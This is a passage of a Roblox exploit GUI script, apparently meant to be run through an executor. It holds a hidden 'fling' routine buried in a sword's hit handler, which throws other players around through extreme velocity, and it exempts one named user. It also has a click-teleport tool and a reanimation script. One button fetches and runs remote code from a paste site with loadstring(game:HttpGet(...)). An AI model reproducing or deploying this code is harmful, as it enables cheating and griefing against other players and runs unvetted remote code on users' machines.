SoundInstances.Slash.Pitch = 1 SoundInstances.Slash:Play() LoadedAnims.Slash1:Play() elseif attackState == 2 then SoundInstances.Slash.Pitch = 1.17 SoundInstances.Slash:Play() LoadedAnims.Slash2:Play() else SoundInstances.Lunge:Play() LoadedAnims.Lunge:Play() end attackState = attackState % 3 + 1 wait(0.3) activeHit = false wait(0.3) canAttack = true LoadedAnims.Idle:Play() end) end) tool.Unequipped:Connect(function() LoadedAnims.Unequip:Play() LoadedAnims.Idle:Stop() end) k.Touched:Connect(function(n) if activeHit then local o = n.Parent:FindFirstChild("Humanoid") if o ~= nil then local p = game.Players:FindFirstChild(n.Parent.Name) local targetPart = n.Parent:FindFirstChild("HumanoidRootPart") or n.Parent:FindFirstChild("Torso") if targetPart and not targetPart:FindFirstChild("SwordFire") then local fire = Instance.new("Fire") fire.Name = "SwordFire" fire.Size = 5 fire.Heat = 10 fire.Parent = targetPart game.Debris:AddItem(fire, 10) end for j = 1, 10 do if p.Name ~= "FunnyVideo15" then if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end end end end end wait(2) hiddenfling = false end) end) end; task.spawn(C_4f); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_51() local script = G2L["51"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() mouse = game.Players.LocalPlayer:GetMouse() tool = Instance.new("Tool") tool.RequiresHandle = false tool.Name = "Click TP" tool.Activated:connect(function() local pos = mouse.Hit+Vector3.new(0,2.5,0) pos = CFrame.new(pos.X,pos.Y,pos.Z) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos end) tool.Parent = game.Players.LocalPlayer.Backpack end) end; task.spawn(C_51); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_55() local script = G2L["55"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://pastefy.app/JOWniO6o/raw"))() if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end end) end; task.spawn(C_55); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_57() local script = G2L["57"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() Effects = { } FELOADLIBRARY = {} loadstring(game:GetObjects("rbxassetid://5209815302")[1].Source)() local Player = game.Players.localPlayer local Character = FakeCharacter local Humanoid = Character.Humanoid Humanoid.WalkSpeed = 20 local Mouse = Player:GetMouse() local LeftArm = Character["Left Arm"] local RightArm = Character["Right Arm"] local LeftLeg = Character["Left Leg"] local RightLeg = Character["Right Leg"] local Head = Character.Head local Torso = Character.Torso local Camera = game.Workspace.CurrentCamera local RootPart = Character.HumanoidRootPart local RootJoint = RootPart.RootJoint local attack = false local Anim = 'Idle' local attacktype = 1 local Torsovelocity = (RootPart.Velocity * Vector3.new(1, 0, 1)).magnitude local velocity = RootPart.Velocity.y local sine = 0 local change = 1 local Create = FELOADLIBRARY.Createlocal Create = FELOADLIBRARY.Create local TimeStop = false local m = Create("Model"){ Parent = Character, Name = "WeaponModel", } Humanoid.Animator.Parent = nil Character.Animate.Parent = nil local newMotor = function(part0, part1, c0, c1) local w = Create('Motor'){ Parent = part0, Part0 = part0, Part1 = part1, C0 = c0, C1 = c1, } return w end function clerp(a, b, t) return a:lerp(b, t) end RootCF = CFrame.fromEulerAnglesXYZ(-1.57, 0, 3.14) NeckCF = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) local RW = newMotor(Torso, RightArm, CFrame.new(1.5, 0, 0), CFrame.new(0, 0, 0)) local LW = newMotor(Torso, LeftArm, CFrame.new(-1.5, 0, 0), CFrame.new(0, 0, 0)) local RH = newMotor(Torso, RightLeg, CFrame.new(.5, -2, 0), CFrame.new(0, 0, 0)) local LH = newMotor(Torso, LeftLeg, CFrame.new(-.5, -2, 0), CFrame.new(0, 0, 0)) RootJoint.C1 = CFrame.new(0, 0, 0) RootJoint.C0 = CFrame.new(0, 0, 0) Torso.Neck.C1 = CFrame.new(0, 0, 0) Torso.Neck.C0 = CFrame.new(0, 1.5, 0) local rarmc1 = RW.C1 local larmc1 = LW.C1 local rlegc1 = RH.C1 local llegc1 = LH.C1 local resetc1 = false function PlayAnimationFromTable(table, speed, bool) RootJoint.C0 = clerp(RootJoint.C0, table[1], speed) Torso.Neck.C0 = clerp(Torso.Neck.C0, table[2], speed) RW.C0 = clerp(RW.C0, table[3], speed) LW.C0 = clerp(LW.C0, table[4], speed) RH.C0 = clerp(RH.C0, table[5], speed) LH.C0 = clerp(LH.C0, table[6], speed) if bool == true then if resetc1 == false then resetc1 = true RootJoint.C1 = RootJoint.C1 Torso.Neck.C1 = Torso.Neck.C1 RW.C1 = rarmc1 LW.C1 = larmc1 RH.C1 = rlegc1 LH.C1 = llegc1 end end end ArtificialHB = Create("BindableEvent", script){ Parent = script, Name = "Heartbeat", } script:WaitForChild("Heartbeat") frame = 1 / 35 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) function swait(num) if num == 0 or num == nil then ArtificialHB.Event:wait() else for i = 0, num do ArtificialHB.Event:wait() end end end function RemoveOutlines(part) part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10 end CFuncs = { Part = { Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) local Part = Create("Part"){ Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material, } RemoveOutlines(Part) return Part end; }; Mesh = { Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) local Msh = Create(Mesh){ Parent = Part, Offset = OffSet, Scale = Scale, } if Mesh == "SpecialMesh" then Msh.MeshType = MeshType Msh.MeshId = MeshId end return Msh end; }; Weld = { Create = function(Parent, Part0, Part1, C0, C1) local Weld = Create("Weld"){ Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1, } return Weld end; }; Sound = { Create = function(id, par, vol, pit) local Sound = Create("Sound"){ Volume = vol, Pitch = pit or 1, SoundId = "rbxassetid://" .. id, Parent = par or workspace, } Sound:play() return Sound end; }; Decal = { Create = function(Color, Texture, Transparency, Name, Parent) local Decal = Create("Decal"){ Color3 = Color, Texture = "rbxassetid://" .. Texture, Transparency = Transparency, Name = Name, Parent = Parent, } return Decal end; }; BillboardGui = { Create = function(Parent, Image, Position, Size) local BillPar = CFuncs.Part.Create(Parent, "SmoothPlastic", 0, 1, BrickColor.new("Black"), "BillboardGuiPart", Vector3.new(1, 1, 1)) BillPar.CFrame = CFrame.new(Position) local Bill = Create("BillboardGui"){ Parent = BillPar, Adornee = BillPar, Size = UDim2.new(1, 0, 1, 0), SizeOffset = Vector2.new(Size, Size), } local d = Create("ImageLabel", Bill){ Parent = Bill, BackgroundTransparency = 1, Size = UDim2.new(1, 0, 1, 0), Image = "rbxassetid://" .. Image, } return BillPar end }; ParticleEmitter = { Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread) local Particle = Create("ParticleEmitter"){ Parent = Parent, Color = ColorSequence.new(Color1, Color2), LightEmission = LightEmission, Size = Size, Texture = Texture, Transparency = Transparency, ZOffset = ZOffset, Acceleration = Accel, Drag = Drag, LockedToPart = LockedToPart, VelocityInheritance = VelocityInheritance, EmissionDirection = EmissionDirection, Enabled = Enabled, Lifetime = LifeTime, Rate = Rate, Rotation = Rotation, RotSpeed = RotSpeed, Speed = Speed, VelocitySpread = VelocitySpread, } return Particle end; }; CreateTemplate = { }; } function rayCast(Position, Direction, Range, Ignore) return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) end function FindNearestTorso(Position, Distance, SinglePlayer) if SinglePlayer then return (SinglePlayer.Torso.CFrame.p - Position).magnitude < Distance end local List = {} for i, v in pairs(workspace:GetChildren()) do if v:IsA("Model") then if v:findFirstChild("Torso") then if v ~= Character then if (v.Torso.Position - Position).magnitude <= Distance then table.insert(List, v) end end end end end return List end local c = Create("ObjectValue"){ Name = "creator", Value = game:service("Players").LocalPlayer, Parent = h, } HandleR = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 1, "Bright yellow", "HandleR", Vector3.new(0.403949469, 0.452220112, 0.425030977)) HandleRWeld = CFuncs.Weld.Create(m, Character["Right Arm"], HandleR, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.637853563, -0.00997161865, 0.00182324648, 0, -1, 0, 1, 0, 0, 0, -0, 1)) HitboxR = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 1, "Bright yellow", "HitboxR", Vector3.new(1.00394952, 1.05222011, 1.02503109)) HitboxRWeld = CFuncs.Weld.Create(m, HandleR, HitboxR, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0999999642, 0, 5.96046448e-008, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.281382293, 0.206172079, 0.281381041)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.147205353, 0.542663455, 0.0980299711, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.194969907, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.401974738, 1.08532834, 0.40197292)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0980299711, 0, 0.147209167, 1, 0, 0, 0, 0, 1, 0, -1, -0)) CFuncs.Mesh.Create("CylinderMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.281382293, 0.206172079, 0.281381041)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.147209167, -0.54266274, 0.0980299711, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.194969907, 1)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.341688991, -0.227600098, 0.404432654, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -0.227600098, 0.414482474, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part", Vector3.new(1.01297641, 0.562762797, 0.361775607)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00299167633, -0.207504272, 0.721092105, 0, 0, -1, 0, 1, 0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.498931885, -0.160766602, 0.881875753, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.389939725, 0.389939249)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.341688991, -0.227600098, 0.41447866, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.341658711, -0.227600098, 0.404432654, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.47883606, -0.442184329, 0.208572268, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.974849463, 0.877363384)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.49892807, -0.160797, 0.881881475, 0, 1, 0, 0, 0, 1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.389939725, 0.389939249)) Part = CFuncs.Part.Create(m, Enum.Material.Metal, 0, 0, "Gold", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.52587891e-005, -0.227600098, 0.404432654, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.974852681, 0.974849463, 0.194969654)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(1.0853318, 0.206172079, 0.261282384)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.52587891e-005, -0.0437278748, -0.273792505, 0, 0, 1, 0, -1, -0, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.292454839, 1)) Part = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.47883606, -0.442184538, 0.208572268, 0, -1, -0, 0, 0, -1, 1, 0, 0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.292455852, 0.974849463, 0.877363384)) Part = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part", Vector3.new(0.206172049, 0.206172079, 0.206172064)) PartWeld = CFuncs.Weld.Create(m, HandleR, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.341674924, -0.227600098, 0.414482474, 0, 0, 1, 0, 1, 0, -1, 0, -0)) CFuncs.Mesh.Create("SpecialMesh", Part, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.779882133, 0.77987963, 0.292454481)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.382619858, 0.0006275177, -0.383376956, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.626291275, 0.141311646, -0.383376956, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.504465103, 0.0709762573, -0.383376956, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Bright yellow", "Part2", Vector3.new(0.803949475, 0.452220112, 1.02503097)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.49999994, 0.299995422, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.401974738, 0.572812021, 0.252237976)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.339208484, -0.212520599, 0.377364278, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.401974738, 0.572812021, 0.258267611)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.339208484, -0.212520599, -0.380355716, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part2", Vector3.new(0.663258314, 0.643157542, 1.04512966)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0326082706, -0.127105713, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.562762797, 0.206172064)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.364227653, -0.0869140625, -0.502471805, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("CylinderMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969654)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.382619858, 0.0006275177, 0.378372312, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.206172079, 1.0049324)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.374283195, 0.124126434, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.0974852666, 0.682394505, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.626291275, 0.141311646, 0.378372312, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part2 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.562762797, 0.206172064)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.364241004, -0.0869140625, 0.502502561, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("CylinderMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969654)) Part2 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part2", Vector3.new(0.206172049, 0.683354914, 0.254247904)) Part2Weld = CFuncs.Weld.Create(m, HandleR, Part2, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.504465103, 0.0709762573, 0.378356099, 0.866025388, -0.500000238, 0, 0.500000238, 0.866025388, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part2, "", "", Vector3.new(0, 0, 0), Vector3.new(0.389941067, 1, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.643156648)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.273794413, -0.48134613, -1.52587891e-005, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.292455524, 0.316826075, 1)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.944640577, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.168369114, -0.48134613, 0.351714253, 1, 0, 0, 0, 1, 0, 0, 0, 1)) CFuncs.Mesh.Create("BlockMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.316826075, 0.292454064)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.502472997, 0.364227653, 0.194465637, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("SpecialMesh", Part3, Enum.MeshType.Sphere, "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 0.194969699, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.SmoothPlastic, 0, 0, "Gold", "Part3", Vector3.new(0.206172049, 0.663256168, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.502472997, 0.0325949192, 0.194473267, 0, 0, -1, -1, 0, -0, 0, 1, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.194970533, 1, 0.194969684)) Part3 = CFuncs.Part.Create(m, Enum.Material.Neon, 0, 0, "New Yeller", "Part3", Vector3.new(0.206172049, 0.206172079, 0.206172064)) Part3Weld = CFuncs.Weld.Create(m, HandleR, Part3, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.491394043, 0, -0.120647311, 0, -1, -0, 0, 0, 1, -1, 0, 0)) CFuncs.Mesh.Create("CylinderMesh", Part3, "", "", Vector3.new(0, 0, 0), Vector3.new(0.414312303, 0.779879749, 0.414309978)) Part3 = CFuncs.Part.Create(m, 